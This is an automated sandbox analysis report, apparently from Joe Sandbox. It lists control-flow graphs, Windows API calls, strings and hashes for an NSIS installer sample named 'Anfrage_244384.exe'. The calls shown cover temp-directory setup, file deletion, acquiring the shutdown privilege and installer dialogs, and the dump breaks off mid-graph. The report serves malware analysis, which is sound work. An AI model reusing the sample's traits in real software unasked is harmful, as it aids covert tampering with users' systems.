77->91 92 4034dd-4034e3 lstrcatA 77->92 88 403632-40363c 79->88 89 40363e-403648 ExitWindowsEx 79->89 80->79 81->69 81->73 88->89 93 40364a-40364c call 40140b 88->93 89->71 89->93 90->57 91->52 95 403504-403507 91->95 92->91 93->71 96 403510 call 40551f 95->96 97 403509-40350e call 4054a2 95->97 106 403515-403522 SetCurrentDirectoryA 96->106 97->106 107 403524-40352a call 405dc3 106->107 108 40352f-403557 call 405dc3 106->108 107->108 112 40355d-403579 call 405de5 DeleteFileA 108->112 115 4035ba-4035c1 112->115 116 40357b-40358b CopyFileA 112->116 115->112 117 4035c3-4035ca call 405c7e 115->117 116->115 118 40358d-4035a6 call 405c7e call 405de5 call 405554 116->118 117->52 126 4035ab-4035ad 118->126 126->115 127 4035af-4035b6 CloseHandle 126->127 127->115
                                                          APIs
                                                          • SetErrorMode.KERNELBASE ref: 004031C8
                                                          • GetVersion.KERNEL32 ref: 004031CE
                                                          • lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004031F7
                                                          • #17.COMCTL32(00000007,00000009), ref: 00403219
                                                          • OleInitialize.OLE32(00000000), ref: 00403220
                                                          • SHGetFileInfoA.SHELL32(00429828,00000000,?,00000160,00000000), ref: 0040323C
                                                          • GetCommandLineA.KERNEL32(Debutromaners241 Setup,NSIS Error), ref: 00403251
                                                          • GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Anfrage_244384.exe",00000000), ref: 00403264
                                                          • CharNextA.USER32(00000000,"C:\Users\user\Desktop\Anfrage_244384.exe",00000020), ref: 0040328F
                                                          • GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040338C
                                                          • GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040339D
                                                          • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033A9
                                                          • GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004033BD
                                                          • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004033C5
                                                          • SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004033D6
                                                          • SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004033DE
                                                          • DeleteFileA.KERNELBASE(1033), ref: 004033F2
                                                            • Part of subcall function 0040615C: GetModuleHandleA.KERNEL32(?,?,?,0040320D,00000009), ref: 0040616E
                                                            • Part of subcall function 0040615C: GetProcAddress.KERNEL32(00000000,?), ref: 00406189
                                                          • OleUninitialize.OLE32(?), ref: 004034A0
                                                          • ExitProcess.KERNEL32 ref: 004034C1
                                                          • GetCurrentProcess.KERNEL32(00000028,?), ref: 004035DE
                                                          • OpenProcessToken.ADVAPI32(00000000), ref: 004035E5
                                                          • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004035FD
                                                          • AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 0040361C
                                                          • ExitWindowsEx.USER32(00000002,80040002), ref: 00403640
                                                          • ExitProcess.KERNEL32 ref: 00403663
                                                            • Part of subcall function 004055B9: MessageBoxIndirectA.USER32(0040A218), ref: 00405614
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
                                                          • String ID: "$"C:\Users\user\Desktop\Anfrage_244384.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\secretaryships$C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes$C:\Users\user\Desktop$C:\Users\user\Desktop\Anfrage_244384.exe$Debutromaners241 Setup$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
                                                          • API String ID: 3329125770-2069459880
                                                          • Opcode ID: c1f9194aaabd033ec7754895e46d654ced239fcc03380315cc0212c25b4d743a
                                                          • Instruction ID: 865bae31cffe44a71533f85cac42dc3cbe617e6c2420eff4fa764eab91bf8bd9
                                                          • Opcode Fuzzy Hash: c1f9194aaabd033ec7754895e46d654ced239fcc03380315cc0212c25b4d743a
                                                          • Instruction Fuzzy Hash: 78C10530104741AAD721BF759D59A2F3EA9EF4530AF44443FF581B61E2CB7C8A058B6E
                                                          Function 00404959 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 128 404959-4049a5 GetDlgItem * 2 129 404bc5-404bcc 128->129 130 4049ab-404a3f GlobalAlloc LoadBitmapA SetWindowLongA ImageList_Create ImageList_AddMasked SendMessageA * 2 128->130 131 404be0 129->131 132 404bce-404bde 129->132 133 404a41-404a4c SendMessageA 130->133 134 404a4e-404a55 DeleteObject 130->134 135 404be3-404bec 131->135 132->135 133->134 136 404a57-404a5f 134->136 137 404bf7-404bfd 135->137 138 404bee-404bf1 135->138 139 404a61-404a64 136->139 140 404a88-404a8c 136->140 144 404c0c-404c13 137->144 145 404bff-404c06 137->145 138->137 141 404cdb-404ce2 138->141 142 404a66 139->142 143 404a69-404a86 call 405de5 SendMessageA * 2 139->143 140->136 146 404a8e-404aba call 403fa8 * 2 140->146 151 404d53-404d5b 141->151 152 404ce4-404cea 141->152 142->143 143->140 148 404c15-404c18 144->148 149 404c88-404c8b 144->149 145->141 145->144 184 404ac0-404ac6 146->184 185 404b84-404b97 GetWindowLongA SetWindowLongA 146->185 157 404c23-404c38 call 4048a7 148->157 158 404c1a-404c21 148->158 149->141 153 404c8d-404c97 149->153 155 404d65-404d6c 151->155 156 404d5d-404d63 SendMessageA 151->156 160 404cf0-404cfa 152->160 161 404f3b-404f4d call 40400f 152->161 163 404ca7-404cb1 153->163 164 404c99-404ca5 SendMessageA 153->164 165 404da0-404da7 155->165 166 404d6e-404d75 155->166 156->155 157->149 183 404c3a-404c4b 157->183 158->149 158->157 160->161 169 404d00-404d0f SendMessageA 160->169 163->141 171 404cb3-404cbd 163->171 164->163 176 404efd-404f04 165->176 177 404dad-404db9 call 4011ef 165->177 172 404d77-404d78 ImageList_Destroy 166->172 173 404d7e-404d85 166->173 169->161 178 404d15-404d26 SendMessageA 169->178 179 404cce-404cd8 171->179 180 404cbf-404ccc 171->180 172->173 181 404d87-404d88 GlobalFree 173->181 182 404d8e-404d9a 173->182 176->161 189 404f06-404f0d 176->189 203 404dc9-404dcc 177->203 204 404dbb-404dbe 177->204 187 404d30-404d32 178->187 188 404d28-404d2e 178->188 179->141 180->141 181->182 182->165 183->149 192 404c4d-404c4f 183->192 193 404ac9-404acf 184->193 191 404b9d-404ba1 185->191 195 404d33-404d4c call 401299 SendMessageA 187->195 188->187 188->195 189->161 190 404f0f-404f39 ShowWindow GetDlgItem ShowWindow 189->190 190->161 197 404ba3-404bb6 ShowWindow call 403fdd 191->197 198 404bbb-404bc3 call 403fdd 191->198 199 404c51-404c58 192->199 200 404c62 192->200 201 404b65-404b78 193->201 202 404ad5-404afd 193->202 195->151 197->161 198->129 211 404c5a-404c5c 199->211 212 404c5e-404c60 199->212 215 404c65-404c81 call 40117d 200->215 201->193 206 404b7e-404b82 201->206 213 404b37-404b39 202->213 214 404aff-404b35 SendMessageA 202->214 207 404e0d-404e31 call 4011ef 203->207 208 404dce-404de7 call 4012e2 call 401299 203->208 216 404dc0 204->216 217 404dc1-404dc4 call 404927 204->217 206->185 206->191 230 404ed3-404ee7 InvalidateRect 207->230 231 404e37 207->231 238 404df7-404e06 SendMessageA 208->238 239 404de9-404def 208->239 211->215 212->215 218 404b3b-404b4a SendMessageA 213->218 219 404b4c-404b62 SendMessageA 213->219 214->201 215->149 216->217 217->203 218->201 219->201 230->176 234 404ee9-404ef8 call 40487a call 404862 230->234 232 404e3a-404e45 231->232 235 404e47-404e56 232->235 236 404ebb-404ecd 232->236 234->176 240 404e58-404e65 235->240 241 404e69-404e6c 235->241 236->230 236->232 238->207 242 404df1 239->242 243 404df2-404df5 239->243 240->241 245 404e73-404e7c 241->245 246 404e6e-404e71 241->246 242->243 243->238 243->239 248 404e81-404eb9 SendMessageA * 2 245->248 249 404e7e 245->249 246->248 248->236 249->248
                                                          APIs
                                                          • GetDlgItem.USER32(?,000003F9), ref: 00404971
                                                          • GetDlgItem.USER32(?,00000408), ref: 0040497C
                                                          • GlobalAlloc.KERNEL32(00000040,?), ref: 004049C6
                                                          • LoadBitmapA.USER32(0000006E), ref: 004049D9
                                                          • SetWindowLongA.USER32(?,000000FC,00404F50), ref: 004049F2
                                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A06
                                                          • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A18
                                                          • SendMessageA.USER32(?,00001109,00000002), ref: 00404A2E
                                                          • SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404A3A
                                                          • SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404A4C
                                                          • DeleteObject.GDI32(00000000), ref: 00404A4F
                                                          • SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404A7A
                                                          • SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404A86
                                                          • SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B1B
                                                          • SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404B46
                                                          • SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B5A
                                                          • GetWindowLongA.USER32(?,000000F0), ref: 00404B89
                                                          • SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404B97
                                                          • ShowWindow.USER32(?,00000005), ref: 00404BA8
                                                          • SendMessageA.USER32(?,00000419,00000000,?), ref: 00404CA5
                                                          • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404D0A
                                                          • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404D1F
                                                          • SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404D43
                                                          • SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404D63
                                                          • ImageList_Destroy.COMCTL32(?), ref: 00404D78
                                                          • GlobalFree.KERNEL32(?), ref: 00404D88
                                                          • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404E01
                                                          • SendMessageA.USER32(?,00001102,?,?), ref: 00404EAA
                                                          • SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404EB9
                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 00404ED9
                                                          • ShowWindow.USER32(?,00000000), ref: 00404F27
                                                          • GetDlgItem.USER32(?,000003FE), ref: 00404F32
                                                          • ShowWindow.USER32(00000000), ref: 00404F39
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                          • String ID: $M$N
                                                          • API String ID: 1638840714-813528018
                                                          • Opcode ID: 4315433588f7ee8e45bd5ba278d1dd566df0f8305feb02016673aa1b72d95d64
                                                          • Instruction ID: 74b4d15ca57fbdec2c0db9e6478e75b59205225842bd8ef9acc4dc7b15762c80
                                                          • Opcode Fuzzy Hash: 4315433588f7ee8e45bd5ba278d1dd566df0f8305feb02016673aa1b72d95d64
                                                          • Instruction Fuzzy Hash: A30292B0A00209AFEF209F65DD45AAE7BB5FB84315F10853AF610B62E1C7789D52CF58
                                                          Function 00405DE5 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 199stringCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 494 405de5-405df0 495 405df2-405e01 494->495 496 405e03-405e18 494->496 495->496 497 40600b-40600f 496->497 498 405e1e-405e29 496->498 499 406015-40601f 497->499 500 405e3b-405e45 497->500 498->497 501 405e2f-405e36 498->501 502 406021-406025 call 405dc3 499->502 503 40602a-40602b 499->503 500->499 504 405e4b-405e52 500->504 501->497 502->503 506 405e58-405e8d 504->506 507 405ffe 504->507 508 405e93-405e9e GetVersion 506->508 509 405fa8-405fab 506->509 510 406000-406006 507->510 511 406008-40600a 507->511 512 405ea0-405ea4 508->512 513 405eb8 508->513 514 405fdb-405fde 509->514 515 405fad-405fb0 509->515 510->497 511->497 512->513 516 405ea6-405eaa 512->516 519 405ebf-405ec6 513->519 520 405fe0-405fe7 call 405de5 514->520 521 405fec-405ffc lstrlenA 514->521 517 405fc0-405fcc call 405dc3 515->517 518 405fb2-405fbe call 405d21 515->518 516->513 522 405eac-405eb0 516->522 532 405fd1-405fd7 517->532 518->532 524 405ec8-405eca 519->524 525 405ecb-405ecd 519->525 520->521 521->497 522->513 528 405eb2-405eb6 522->528 524->525 530 405f06-405f09 525->530 531 405ecf-405eea call 405caa 525->531 528->519 533 405f19-405f1c 530->533 534 405f0b-405f17 GetSystemDirectoryA 530->534 540 405eef-405ef2 531->540 532->521 536 405fd9 532->536 538 405f86-405f88 533->538 539 405f1e-405f2c GetWindowsDirectoryA 533->539 537 405f8a-405f8d 534->537 541 405fa0-405fa6 call 40602e 536->541 537->541 545 405f8f-405f93 537->545 538->537 543 405f2e-405f38 538->543 539->538 544 405ef8-405f01 call 405de5 540->544 540->545 541->521 547 405f52-405f68 SHGetSpecialFolderLocation 543->547 548 405f3a-405f3d 543->548 544->537 545->541 550 405f95-405f9b lstrcatA 545->550 552 405f83 547->552 553 405f6a-405f81 SHGetPathFromIDListA CoTaskMemFree 547->553 548->547 551 405f3f-405f46 548->551 550->541 555 405f4e-405f50 551->555 552->538 553->537 553->552 555->537 555->547
                                                          APIs
                                                          • GetVersion.KERNEL32(?,0042A048,00000000,00405014,0042A048,00000000), ref: 00405E96
                                                          • GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405F11
                                                          • GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405F24
                                                          • SHGetSpecialFolderLocation.SHELL32(?,0041C020), ref: 00405F60
                                                          • SHGetPathFromIDListA.SHELL32(0041C020,Call), ref: 00405F6E
                                                          • CoTaskMemFree.OLE32(0041C020), ref: 00405F79
                                                          • lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405F9B
                                                          • lstrlenA.KERNEL32(Call,?,0042A048,00000000,00405014,0042A048,00000000), ref: 00405FED
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
                                                          • String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                          • API String ID: 900638850-1230650788
                                                          • Opcode ID: fcec94f82e88fcce29c7e60c56cd8c103032a989a52b9d99fcd4bfd562cc5ef6
                                                          • Instruction ID: dce6f903095129fb599a93a9a66318a4e9c512c80ea25934a290623bed19ebbf
                                                          • Opcode Fuzzy Hash: fcec94f82e88fcce29c7e60c56cd8c103032a989a52b9d99fcd4bfd562cc5ef6
                                                          • Instruction Fuzzy Hash: 2F611271A04A02AEEB209B24DD84BBF7BA8DB15314F50813FE942B62D1D37D49429F5E
                                                          Function 00405665 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159filestringCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 556 405665-40568b call 405923 559 4056a4-4056ab 556->559 560 40568d-40569f DeleteFileA 556->560 562 4056ad-4056af 559->562 563 4056be-4056ce call 405dc3 559->563 561 40582e-405832 560->561 564 4056b5-4056b8 562->564 565 4057dc-4057e1 562->565 571 4056d0-4056db lstrcatA 563->571 572 4056dd-4056de call 40587c 563->572 564->563 564->565 565->561 567 4057e3-4057e6 565->567 569 4057f0-4057f8 call 4060c7 567->569 570 4057e8-4057ee 567->570 569->561 580 4057fa-40580e call 405835 call 40561d 569->580 570->561 574 4056e3-4056e6 571->574 572->574 576 4056f1-4056f7 lstrcatA 574->576 577 4056e8-4056ef 574->577 579 4056fc-40571a lstrlenA FindFirstFileA 576->579 577->576 577->579 581 405720-405737 call 405860 579->581 582 4057d2-4057d6 579->582 595 405810-405813 580->595 596 405826-405829 call 404fdc 580->596 589 405742-405745 581->589 590 405739-40573d 581->590 582->565 584 4057d8 582->584 584->565 593 405747-40574c 589->593 594 405758-405766 call 405dc3 589->594 590->589 592 40573f 590->592 592->589 599 4057b1-4057c3 FindNextFileA 593->599 600 40574e-405750 593->600 606 405768-405770 594->606 607 40577d-405788 call 40561d 594->607 595->570 597 405815-405824 call 404fdc call 405c7e 595->597 596->561 597->561 599->581 603 4057c9-4057cc FindClose 599->603 600->594 604 405752-405756 600->604 603->582 604->594 604->599 606->599 609 405772-40577b call 405665 606->609 616 4057a9-4057ac call 404fdc 607->616 617 40578a-40578d 607->617 609->599 616->599 618 4057a1-4057a7 617->618 619 40578f-40579f call 404fdc call 405c7e 617->619 618->599 619->599
                                                          APIs
                                                          • DeleteFileA.KERNELBASE(?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040568E
                                                          • lstrcatA.KERNEL32(0042B870,\*.*,0042B870,?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056D6
                                                          • lstrcatA.KERNEL32(?,0040A014,?,0042B870,?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056F7
                                                          • lstrlenA.KERNEL32(?,?,0040A014,?,0042B870,?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004056FD
                                                          • FindFirstFileA.KERNEL32(0042B870,?,?,?,0040A014,?,0042B870,?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040570E
                                                          • FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004057BB
                                                          • FindClose.KERNEL32(00000000), ref: 004057CC
                                                          Strings
                                                          • C:\Users\user\AppData\Local\Temp\, xrefs: 00405672
                                                          • "C:\Users\user\Desktop\Anfrage_244384.exe", xrefs: 00405665
                                                          • \*.*, xrefs: 004056D0
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                          • String ID: "C:\Users\user\Desktop\Anfrage_244384.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
                                                          • API String ID: 2035342205-960331665
                                                          • Opcode ID: 35f83909ae11c9f79d6b7d90eabebb09b3e9f21799a89a441620f803e9e91570
                                                          • Instruction ID: 999a98db12b4221591f7ee6b6052c292a74d4854a5648a1040a4d82dc32c8f45
                                                          • Opcode Fuzzy Hash: 35f83909ae11c9f79d6b7d90eabebb09b3e9f21799a89a441620f803e9e91570
                                                          • Instruction Fuzzy Hash: 2B51D531800A48EADB216B61CC85BBF7A78DF42354F64817BF845721D2C73C4952EE6D
                                                          Function 004060C7 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FindFirstFileA.KERNELBASE(75923410,0042C0B8,0042BC70,00405966,0042BC70,0042BC70,00000000,0042BC70,0042BC70,75923410,?,C:\Users\user\AppData\Local\Temp\,00405685,?,75923410,C:\Users\user\AppData\Local\Temp\), ref: 004060D2
                                                          • FindClose.KERNELBASE(00000000), ref: 004060DE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Find$CloseFileFirst
                                                          • String ID:
                                                          • API String ID: 2295610775-0
                                                          • Opcode ID: 7d865761c494c6b641247bef0bb2c924160845ff3ef93fdcf2db6d5e6c47237c
                                                          • Instruction ID: 7bd6a1ee080489a50caeda4c967685e5e64830a7ebee4117dda32410da358e49
                                                          • Opcode Fuzzy Hash: 7d865761c494c6b641247bef0bb2c924160845ff3ef93fdcf2db6d5e6c47237c
                                                          • Instruction Fuzzy Hash: 5FD012316854309BC21097786D0C84B7A589F19331711CB37F4A6F11F0CB34CC66869D
                                                          Function 0040270B Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FindFirstFileA.KERNELBASE(00000000,?,00000002), ref: 0040271A
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2548862170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.2548839084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548883011.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2548902966.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2549006400.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: FileFindFirst
                                                          • String ID:
                                                          • API String ID: 1974802433-0
                                                          • Opcode ID: 9221aa77ab26fe255a706fdbb407d63210ae3e038afe0839ecce60615a5a5cc7
                                                          • Instruction ID: c78e1de3aafbb837fdaa481cd05ce35d28cdafaef4a854467420e3d3da5db3c0
                                                          • Opcode Fuzzy Hash: 9221aa77ab26fe255a706fdbb407d63210ae3e038afe0839ecce60615a5a5cc7
                                                          • Instruction Fuzzy Hash: 18F0A7726041159BD710EBA49A49DEEB778DF15324F60417BF181B20C1D6B84A469B2A
                                                          Function 00403AD5 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 250 403ad5-403ae7 251 403c28-403c37 250->251 252 403aed-403af3 250->252 254 403c86-403c9b 251->254 255 403c39-403c81 GetDlgItem * 2 call 403fa8 SetClassLongA call 40140b 251->255 252->251 253 403af9-403b02 252->253 258 403b04-403b11 SetWindowPos 253->258 259 403b17-403b1a 253->259 256 403cdb-403ce0 call 403ff4 254->256 257 403c9d-403ca0 254->257 255->254 272 403ce5-403d00 256->272 261 403ca2-403cad call 401389 257->261 262 403cd3-403cd5 257->262 258->259 264 403b34-403b3a 259->264 265 403b1c-403b2e ShowWindow 259->265 261->262 283 403caf-403cce SendMessageA 261->283 262->256 271 403f75 262->271 267 403b56-403b59 264->267 268 403b3c-403b51 DestroyWindow 264->268 265->264 275 403b5b-403b67 SetWindowLongA 267->275 276 403b6c-403b72 267->276 273 403f52-403f58 268->273 280 403f77-403f7e 271->280 278 403d02-403d04 call 40140b 272->278 279 403d09-403d0f 272->279 273->271 284 403f5a-403f60 273->284 275->280 281 403c15-403c23 call 40400f 276->281 282 403b78-403b89 GetDlgItem 276->282 278->279 286 403f33-403f4c DestroyWindow EndDialog 279->286 287 403d15-403d20 279->287 281->280 289 403ba8-403bab 282->289 290 403b8b-403ba2 SendMessageA IsWindowEnabled 282->290 283->280 284->271 292 403f62-403f6b ShowWindow 284->292 286->273 287->286 288 403d26-403d73 call 405de5 call 403fa8 * 3 GetDlgItem 287->288 320 403d75-403d7a 288->320 321 403d7d-403db9 ShowWindow KiUserCallbackDispatcher call 403fca EnableWindow 288->321 294 403bb0-403bb3 289->294 295 403bad-403bae 289->295 290->271 290->289 292->271 299 403bc1-403bc6 294->299 300 403bb5-403bbb 294->300 298 403bde-403be3 call 403f81 295->298 298->281 303 403bfc-403c0f SendMessageA 299->303 305 403bc8-403bce 299->305 300->303 304 403bbd-403bbf 300->304 303->281 304->298 308 403bd0-403bd6 call 40140b 305->308 309 403be5-403bee call 40140b 305->309 316 403bdc 308->316 309->281 318 403bf0-403bfa 309->318 316->298 318->316 320->321 324 403dbb-403dbc 321->324 325 403dbe 321->325 326 403dc0-403dee GetSystemMenu EnableMenuItem SendMessageA 324->326 325->326 327 403df0-403e01 SendMessageA 326->327 328 403e03 326->328 329 403e09-403e42 call 403fdd call 405dc3 lstrlenA call 405de5 SetWindowTextA call 401389 